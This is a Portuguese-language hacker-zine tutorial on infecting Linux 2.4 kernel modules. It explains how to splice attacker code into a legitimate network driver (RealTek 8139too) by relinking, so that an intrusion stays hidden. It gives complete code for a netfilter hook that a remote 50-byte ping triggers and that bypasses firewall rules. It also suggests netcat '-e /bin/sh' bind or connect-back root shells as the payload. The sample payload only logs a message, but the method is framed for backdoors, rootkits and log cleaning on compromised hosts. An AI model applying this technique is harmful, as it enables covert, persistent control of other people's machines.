=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[04]-=[LKM Code Injection]=-|tDs|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

–=[ Introdução

Melhor que conseguir elevar privilégios em um sistema e deixar um LKM nosso, com backdoors, rootkits, ou o que for, e’ colocar isso tudo em um LKM do sistema. Desta forma, a detecção de rastros de uma intrusão fica um pouco mais difícil. Neste pequeno texto, veremos de maneira clara (eu espero) como podemos infectar  um LKM, adicionando mais funções ou modificando-as,  da maneira que acharmos uteis ao nossos objetivos.

O assunto pode parecer um pouco complexo para iniciantes, entretanto o que e’ tratado e’ somente o básico. Então, se já possui um conhecimento do assunto, e’ mais proveitoso procurar por algo mais avançado para leitura. Conhecimento prévio sobre a escrita de LKM e bem-vindo, embora não seja indispensável. Exemplos e citações são feitos  tendo em mente o kernel do GNU/Linux, 2.4.x.

–=[ O que sao LKMs

LKMs são “pedaços” do kernel, que podem ser carregados e descarregados dinamicamente, aumentando (ou diminuindo) a gama de opções e funcionalidades que são disponibilizadas pelo kernel do sistema. Por ser carregado sob demanda, ou seja, não esta embutido no próprio kernel, LKMs tem diversas vantagens a código escritos diretamente no kernel. Entre elas temos:

• Economia de memoria: Pelo fato de ser carregada somente quando necessário, não existe desperdício de memoria com funções que não são utilizadas constantemente;
• Facilidade na compilação e debug: LKMs apos carregadas são parte do kernel, entretanto não precisam ser compiladas junto com ele. Podem ser escritos e compilados a qualquer momento. Quando se tem problemas com o código, é possível fazer um debug dele com facilidade muito maior do que se o código estives-se embutido no kernel. E’ mais rápido descarregar o modulo, modificar o código, recompilar e recarregar o modulo do que reescrever a parte do código que esta no kernel, recompilar tudo e reiniciar o computador!
• Novos drivers podem ser testados sem precisar reiniciar o sistema. E são em drivers que iremos nos concentrar.

–=[ Inicio – Primeiros Exemplos

A forma mais simples de entender como funciona e’ com exemplos. Inicialmente,  criamos um modulo chamado driver_original.o,  que sera o exemplo usado como modulo do sistema, que futuramente sera infectado:

/*
* Simples exemplo de um lkm que nao faz nada,
* mas poderia ser, por exemplo, um driver de
* uma placa de rede.
* Compile com $gcc -O3 -c driver_original.c
*/
#define MODULE
#define __KERNEL__
#include <linux/kernel.h>
#include <linux/module.h>
static int __init inicio(void)
{
printk ("<1> Iniciando driver_original \n");
printk ("<1> Executando funcoes iniciais\n");
printk ("<1> Modulo carregado e aguardando chamada a suas funcoes\n\n");
return 0;
}
static void __exit fim(void)
{
printk ("<1> Finalizando modulo orignal \n");
}
module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");

Antes de carregar o modulo, é interessante ter o syslogd funcionando corretamente e com a seguinte linha no seu arquivo de configuração (normalmente /etc/syslog.conf):

kern.alert   /var/log/alert

Dessa forma poderemos observar melhor as mensagens que serão emitidas pelo modulo. Apos isso, compile o código e carregue o modulo:


#gcc -O3 -c driver_original.c
#insmod driver_original.o


As opções passadas para o gcc são:


||  -O3: Optimize yet more.  -O3 turns on all optimizations specified
|| by -O2 and also turns on the -finline-functions and -frename-registers
|| options. (E' uma opcao para otimizacao do objeto criado pelo gcc.).
||
||  -c: Compile or assemble the source files, but do not link.  The linking
|| stage simply is not done. The ultimate output is in the form of an object
|| file for each source file.


As seguintes mensagens devem aparecer em ‘/var/log/alert’ (ou não, elas ainda podem aparecer em outro arquivo de log, sinistramente):


Nov 14 17:24:57 matrix kernel:  Iniciando driver_original
Nov 14 17:24:57 matrix kernel:  Executando funções iniciais
Nov 14 17:24:57 matrix kernel:  Modulo carregado e aguardando chamada a suas funções


Com o driver(pseudo-driver que faz absolutamente nada mais do que exibir mensagens) criado, podemos agora criar o modulo que contem o código que sera injetado no driver_original.o:

<++> lkm_injection/infector.c
/*
* Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
* seja, so executa alguma funcao durante o carregamento dele), que sera
* utilizado para ser injetado em um outro modulo.
*/
#define MODULE
#define __KERNEL__
#include <linux/kernel.h>
#include <linux/module.h>
int init_module(void)
{
printk ("<1> Iniciando funcoes do modulo injetado\n");
return 0;
}
<-->lkm_injection/infector.c

Observe que o modulo anterior possui apenas uma função, a init_module. Essa função é a equivalente a “main()” em um programa em C comum, ou seja, é a primeira função a ser executada na execução do modulo, que no caso é o carregamento dele. Como deve imaginar, existe também uma função executada logo antes do descarregamento do modulo. Essa função é a “cleanup_module()”.

Compile o código e carregue o modulo:

#gcc -O3 -c infector.c
#insmod infector.o

A seguinte mensagem deve aparecer em ‘/var/log/alert’:

Nov 14 17:36:29 matrix kernel:  Iniciando funções do módulo injetado


Por enquanto, tudo que temos são dois módulos separados (note que a única coisa que os módulos estão fazendo ate agora e’ exibir mensagens no arquivo de log. Leve em conta o seguinte:

• As funções do driver_original.o já existem, como código do modulo do sistema que futuramente sera infectado. Poderíamos estar usando como exemplos o código de um driver real, mas isso apenas complicaria de forma desnecessária a explanação de como podemos efetuar a infecção;
• As nossas funções – backdoors, rootkits, etc – serão adicionadas em breve(por você, obvio, apenas sera mostrado que é possível fazer e como poderia ser feito).
• Voltando ao que vale, o que precisamos fazer agora, e’ injetar o modulo infector.o dentro do modulo driver_original.o. Para isso, podemos utilizar o GNU Linker (ld):


||    "ld  combines  a  number of object and archive files,
||    relo­cates their data and ties up  symbol  references.
||    Usually the last step in compiling a program is to run
||    ld."


Para injetar o código do infector.o dentro do driver_original.o, podemos fazer da seguinte forma:

#ld -r -z muldefs infector.o driver_original.o -o devil.o

Basicamente o que é feito aqui é uma injeção da função ‘int init_module(void)’ (a única) do modulo infector.o para o modulo driver_original.o, criando um novo modulo, chamado devil.o. O código do driver_original.o deve ter ficado parecido com o seguinte:

/** driver_original_infectado */
#define MODULE
#define __KERNEL__
#include <linux/kernel.h>
#include <linux/module.h>
static int __init inicio(void)
{
printk ("<1> Iniciando driver_original \n");
printk ("<1> Executando funcoes iniciais\n");
printk ("<1> Modulo carregado e aguardando chamada a suas funcoes\n\n");
return 0;
}
static void __exit fim(void)
{
printk ("<1> Finalizando modulo orignal \n");
}
module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");
int init_module(void)
{
printk ("<1> Iniciando funcoes do modulo injetado\n");
return 0;
}
/** fim de driver_original_infectado */

Apos carregar ele (#insmod devil.o), o seguinte e’ visto em ‘/var/log/alert’:

Nov 14 18:34:42 matrix kernel:  Iniciando funções do modulo injetado

Esta funcionando, mas não perfeitamente, ainda. Alguns detalhes devem ser observados. Um pouco de teoria: Em um LKM, a primeira função a ser executada é a init_module() OU alguma função passada como argumento para a macro module_init() (que no caso do driver_original.c, foi a função ‘inicio’). A macro module_init() esta declarada em ‘/usr/src/linux/include/linux/init.h’:


|| /**
||  * module_init() - driver initialization entry point
||  * @x: function to be run at kernel boot time or module insertion
||  *
||  * module_init() will add the driver initialization routine in
||  * the "__initcall.int" code segment if the driver is checked as
||  * "y" or static, or else it will wrap the driver initialization
||  * routine with init_module() which is used by insmod and
||  * modprobe when the driver is used as a module.
|| */
|| #define module_init(x)  __initcall(x);


Se observar, vera que no código teria tanto a função “module_init” quanto a “init_module”. Então, caso o código acima fosse compilado, ocorreria um erro:

error: redefinition of `init_module'
error: `init_module' previously defined here

O mesmo ocorreria se eles fossem compilados separados e posteriormente linkados. Para contornar este problema, compilamos os arquivos separadamente e linkamos,  passando o argumento ‘-z muldefs’ para o ld,  informando a ele para aceitar definições múltiplas de uma mesma função. Desta forma podemos substituir (sobrescrever) a função ‘module_init(inicio)’, que inicializa o driver_original
.o, pela função init_module() do modulo infector.o.

Dessa forma teríamos o nosso modulo injetado dentro do modulo que estamos tentando infectar. Só tem um detalhe: A função ‘module_init(inicio)’ que sera sobrescrita contem código que pode ser essencial para o modulo, em sua versão não infectada (aqui o código original apenas exibe mensagens, mas normalmente não é apenas isso que ocorre), e deve continuar sendo executado. Para que tudo funcione corretamente, basta que o modulo infector.o, em sua inicialização, execute uma chamada para a função inicio() do modulo driver_original.o. Complicou? Observe:

<++> lkm_injection/infector2.c
/*
* Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
* seja, so executa alguma funcao durante o carregamento dele), que sera
* utilizado para ser injetado em um outro modulo. Apos carregado, executa funcao
* principal do modulo infectado
*/
#define MODULE
#define __KERNEL__
#include <linux/kernel.h>
#include <linux/module.h>
int init_module(void)
{
printk ("<1> Iniciando funcoes do modulo injetado\n");
printk ("<1> ***inicializando modulo original*** \n\n");
inicio (); // funcao inicio do driver_original, chamada para
// inicializacao dele
return 0;
}
<--> lkm_injection/infector2.c

Compilamos o novo modulo e linkamos com o modulo original, criando um outro modulo, chamado devil.o:

# gcc -O3 -c infector2.c
# ld -r -z muldefs infector2.o driver_original.o -o devil.o

Apos carregar o modulo (#rmmod devil; insmod devil.o), vemos o seguinte em ‘/var/log/alert’:


Nov 14 18:39:24 matrix kernel:  Iniciando funcoes do modulo injetado
Nov 14 18:39:24 matrix kernel:  ***inicializando modulo original***
Nov 14 18:39:24 matrix kernel:  Iniciando driver_original
Nov 14 18:39:24 matrix kernel:  Executando funcoes iniciais
Nov 14 18:39:24 matrix kernel:  Modulo carregado e aguardando chamada a suas funcoes


Exatamente o que é necessario:

• Nosso modulo e’ executado, fazendo o que precisa;
• Nosso modulo chama a função original do modulo que foi infectado;
• Modulo original funciona normalmente, como se nada tivesse acontecido.

Só precisamos de algum codigo util para ser executado e algum modulo para servir de hospedeiro!

–=[ Localizando o Hospedeiro

Como dito anteriormente, a primeira função a ser executada em um modulo pode ser tanto module_init(FUNCAO), quanto  init_module(). No caso da infecção de um modulo que seja inicializado por  module_init(FUNCAO), só precisamos nos certificar que o código que infectou o modulo original faca uma chamada para ‘FUNCAO’, garantindo assim que tudo que deve ser executado por ele ao ser carregado realmente sera executado. Agora, no caso da infecção de um modulo que é inicializado por init_module(), a situação é diferente. É necessário literalmente reescrever o init_module() do modulo original dentro do modulo que ira causar a  infecção. Isto  pode  ser  um  tanto chato de se fazer, dependendo do tamanho da função de inicialização. Por este simples motivo, sera dado preferencia aos módulos que sejam inicializados por module_init(FUNCAO).

Decidir qual modulo utilizar não deve ser uma tarefa muito complicada.Vamos levar em consideração o seguinte:

• Para que possamos acessar uma maquina remota, ela obviamente esta conectada a rede através de algum dispositivo, que normalmente é uma interface de rede (ethernet);
• Para que a interface de rede possa ser utilizada, é necessária a utilização de algum tipo de driver;
• A maioria das distribuições de Linux atualmente, colocam os drivers de interfaces de rede como módulos;

Com estas informações, conclui-se que é bastante interessante a infecção de um driver de interface de rede (se a maquina não carregar este modulo a cada inicialização do sistema, ela não terá acesso a rede e nos não teremos acesso a ela de qualquer forma, por isso a escolha). Outro detalhe que vale observar é que muitas maquinas costumam utilizar placas de rede comuns (realtek, sis900, 3com), assim utilizam os mesmos módulos (sistemas diferentes utilizando módulos iguais), o que facilitaria bastante a escrita de nosso codigo de infeccao. Vamos dar uma observada no codigo destes modulos controladores de dispositivos de rede:


|| /** realtek 8139 */
|| /*
||   8139too.c: A RealTek RTL-8139 Fast Ethernet driver for Linux.
||    Maintained by Jeff Garzik <jgarzik@pobox.com>
||   Copyright 2000-2002 Jeff Garzik
|| */
|| ...
|| muito codigo
|| ...
|| module_init(rtl8139_init_module);
|| module_exit(rtl8139_cleanup_module);
|| /** fim de realtek 8139 */


|| /** sis900 */
|| /* sis900.c: A SiS 900/7016 PCI Fast Ethernet driver for Linux.
||    Copyright 1999 Silicon Integrated System Corporation
||    Revision: 1.08.06 Sep. 24 2002
||
||    Modified from the driver which is originally written by Donald Becker.
|| */
|| ...
|| muito codigo
|| ...
|| module_init(sis900_init_module);
|| module_exit(sis900_cleanup_module);
|| /** fim de sis900 */


|| /** ne2k */
|| /* ne2k-pci.c: A NE2000 clone on PCI bus driver for Linux. */
|| /*
||  A Linux device driver for PCI NE2000 clones.
|| */
|| ...
|| muito codigo
|| ...
|| module_init(ne2k_pci_init);
|| module_exit(ne2k_pci_cleanup);
|| /** ne2k */


O codigo completo dos arquivos esta em ‘/usr/src/linux/drivers/net’. Nota alguma semelhanca entre o codigo desses drivers e o codigo do “driver_original.c”? Observa-se que muitos destes drivers estao codificados de forma a facilitar o nosso trabalho. Tendo entao alguns hospedeiros selecionados, vamos juntar alguns codigos interessantes para injetar neles.

–=[ Colocando Algum Código Util

Agora que ja sabemos como fazer, precisamos decidir o que fazer. Algumas ideias:

• Uma backdoor;
• Um logcleanner;
• Um rootkit;
• Um sninffer;
• Qualquer coisa que voce tiver ideia! Você esta no comando.

Com as ferramentas em maos, vamos ver uma pseudo-implementação de algum código realmente util. O codigo a seguir é uma LKM que contem um código inofensivo, até que o kernel manipule um pacote ICMP de 50 bytes (em outras palavras, o código nocivo da LKM é ativado por um PING remoto de 50 bytes, que pode ser feito assim: $ping -s 22 ip.da.vitima). Isso é feito com a criacao de um hook no netfilter, que é adicionado antes de outras possiveis regras que poderiam ter sido criadas para bloquear pacotes ICMP, ou seja, você pode com isso passar por um conjunto de regras que tornaria a vitima inacessivel. E mais, você pode criar regras on-the-fly,  para permitir que a maquina que enviou o pacote ICMP tenha acesso irrestrito. Resumindo, você pode inutilizar as regras que tenham sido criadas.

Para execucao, é possível colocar o que quiser: uma backdoor (que tal executar o netcat ouvindo em uma porta X e passar a opcao “-e /bin/sh” para ele? Uma root shell sem muito esforco), uma backdoor em connect-back  (que tal esse mesmo netcat se conectar no ip de quem enviou o pacote ICMP), desativar o syslogd enquanto o ip de quem enviou o pacote  ICMP estiver se comunicando com a maquina, etc. Observe que, se receber 50 pacotes do tamanho especifico, o código nocivo sera executado 50 vezes, o que nao sera bom na maioria dos casos. No exemplo, apenas exibe uma mensagem, entao nao teremos problemas. Tenha isso em mente no momento que for implementar algo e controle a execucao do codigo nocivo. Segue a implementacao:

<++> lkm_injection/injekt.c
/*
* Implementacao de lkm com codigo nocivo ativado remotamente,
* atraves do recebimento de um pacote ICMP de 50 bytes, que pode
* ser alterado passando o parametro pkt_size:
* #insmod injekt.o pkt_size=100
*
*/
#define __KERNEL__
#define MODULE
#define P_SIZE_OFFSET 28
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/ip.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/netdevice.h>
/* declaracoes de variaveis e prototipo de funcoes  */
int exec_injetk(void);
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff*));
/* funcao principal do modulo */
int __init init_injekt()
{
printk ( "<1> Inicializando : icmp_pkt_size:  " \
"%i bytes\n\n", pkt_size + P_SIZE_OFFSET);
/* informacoes para registrar o hook do netfilter */
nfh.hooknum  = NF_IP_LOCAL_IN;
nfh.priority = NF_IP_PRI_FIRST;
nfh.hook     = i_ll_hook_you;
nfh.pf       = PF_INET;
/* a hook e' criada */
nf_register_hook(&nfh);
return 0;
}
/* funcao de saida do modulo */
void __exit exit_injekt ( )
{
/* remove a hook */
nf_unregister_hook( &nfh );
}
/* O que sera feito quando receber o pacote ICMP do tamanho especificado  */
int i_am_terrible( )
{
printk ( "<1> EU SOU UMA LKM DO MAU!!!\n\n" );
return 0;
}
/* aqui temos a hook propriamente dita */
unsigned int i_ll_hook_you (
unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff * ) ) {
struct sk_buff *sk = *skb;
/* verifica se o protocolo e' icmp e o tamanho do pacote e' o especificado */
if ( sk->nh.iph->protocol == IPPROTO_ICMP &&
sk->len == P_SIZE_OFFSET + pkt_size ) {
/* informa que recebeu o pacote */
//printk ( "<1> Recebido pacote de %i bytes )\n\n", sk->len );
i_am_terrible();
return NF_STOLEN; /* elimina o pacote! */
}
return NF_ACCEPT; /* retorna o pacote para ser feito o que for preciso */
}
/* informacoes do modulo */
module_init ( init_injekt );
module_exit ( exit_injekt );
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP  ( Padrao = 50 )" );
MODULE_LICENSE ( "GPL" );
MODULE_AUTHOR  ( "tDs <tds@motdlabs.org>" );
MODULE_DESCRIPTION ( ":: keep your mind free() ::" );
<--> lkm_injection/injekt.c

–=[ Cenario Real: Infectando um Driver

Vamos utilizar como exemplo o driver 8139too.o, que normalmente está em “/lib/module/kernel_versao/kernel/drivers/net/8139too.o.gz”. Note que ele está compactado (na maioria das distribuicoes), então não tente injetar seu módulo sem antes descompactar. O código que sera injetado é o que foi exposto acima, levemente modificado (embora continue fazendo nada mais do que exibir mensagens). Segue o código:

<++>lkm_injection/8139injekt.c
/*
* Implementacao de lkm com codigo nocivo ativado remotamente,
* atraves do recebimento de um pacote ICMP de 50 bytes, que pode
* ser alterado passando o parametro pkt_size:
* #insmod 8139injekt.o pkt_size=100
* preparado para infectar driver da placa de rede realtek 8139too
* /lib/modules/2.4.x/kernel/drivers/net/8139too.o.gz
*
*/
#define __KERNEL__
#define MODULE
#define P_SIZE_OFFSET 28
#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/ip.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/netdevice.h>
#include <linux/pci.h>
int exec_injetk(void);
extern RTL8139_DRIVER_NAME;
extern rtl8139_pci_driver;
//extern pci_module_init();
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff*));
int init_module()
{
/* codigo do driver original */
/* when we're a module, we always print a version message,
* even if no 8139 board is found.
*/
#ifdef MODULE
printk("<8> %s \n", RTL8139_DRIVER_NAME);
#endif
nfh.hooknum  = NF_IP_LOCAL_IN;
nfh.priority = NF_IP_PRI_FIRST;
nfh.hook     = i_ll_hook_you;
nfh.pf       = PF_INET;
nf_register_hook(&nfh);
/* codigo do driver original */
return pci_module_init(&rtl8139_pci_driver);
}
void cleanup_module ( )
{
/* remove a hook */
nf_unregister_hook( &nfh );
/* codigo do driver original */
pci_unregister_driver(&rtl8139_pci_driver);
}
int i_am_terrible( )
{
printk ( "<1> EU SOU UMA LKM DO MAU!!!\n\n" );
return 0;
}
unsigned int i_ll_hook_you (
unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff * ) ) {
struct sk_buff *sk = *skb;
if ( sk->nh.iph->protocol == IPPROTO_ICMP &&
sk->len == P_SIZE_OFFSET + pkt_size ) {
i_am_terrible();
return NF_STOLEN;
}
return NF_ACCEPT;
}
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP  ( Padrao = 50 )" );
<-->lkm_injection/8139injekt.c

Compile e linke o modulo. Apos linkar, sera exibida uma mensagem de advertência:


# gcc -O3 -c 8139injekt.c
# ld -r -z muldefs 8139inject.o 8139too.o -o devil.o
ld: Warning: size of symbol `init_module' changed from 139 in badcode.o
to 70 in 8139too.o
ld: Warning: size of symbol `cleanup_module' changed from 32 in badcode.o
to 12 in 8139too.o
# modinfo devil.o
filename:    devil.o
description: "RealTek RTL-8139 Fast Ethernet driver"
author:      "Jeff Garzik <jgarzik@pobox.com>"
license:     "GPL"
parm:        pkt_size int, description "Tamanho de pacote ICMP
( Padrao = 50 )"
parm:        multicast_filter_limit int, description "8139too maximum number
of filtered multicast addresses"
parm:        max_interrupt_work int, description "8139too maximum events
handled per interrupt"
parm:        media int array (min = 1, max = 8), description "8139too: Bits
4+9: force full duplex, bit 5: 100Mbps"
parm:        full_duplex int array (min = 1, max = 8), description "8139too:
Force full duplex for board(s) (1)"
parm:        debug int, description "8139too bitmapped message enable number"


Observe que o modulo agora contem o parametro que definimos anteriormente, em nosso modulo. Após carregar o modulo, o hook do netfilter que foi criada estará disponivel e, para ativar a nossa funcao “i_am_terrible”, basta um “ping -s 22 ip.da.vitima”. Note que o PING nao vai retornar resposta, visto que o pacote sera descartado no hook. Entretanto, funcionara perfeitamente. Ultima observação: Não tente fazer isso com um driver de um dispositivo nao presente na maquina, os resultados podem ser desastrosos ( panic() ).

Muito pode ser feito com infeccao de modulo, embora pessoas com maior conhecimento normalmente utilizam-se de outros meios para manter acesso em hosts previamente dominados. A utilizacao de modulos para esse fim pode ser bastante efetiva e ao mesmo tempo muito simples de ser implemtentada.

–=[ Agradecimentos e Links/Referencias

Pessoal da scene brasileira toda, em especial ao pessoal que conversocom maior frequencia. Vocês sabem quem sao vocês. Informação é simples de se adquirir, internet esta cheia disso. Basta saber procurar.

http://www.motdlabs.org
http://tds.motdlabs.org
http://gcc.gnu.org/onlinedocs/gcc-3.4.4/gcc/
http://www.gnu.org/software/binutils/manual/ld-2.9.1/html_chapter/ld_toc.html
http://www.netfilter.org/

_EOF_

Fonte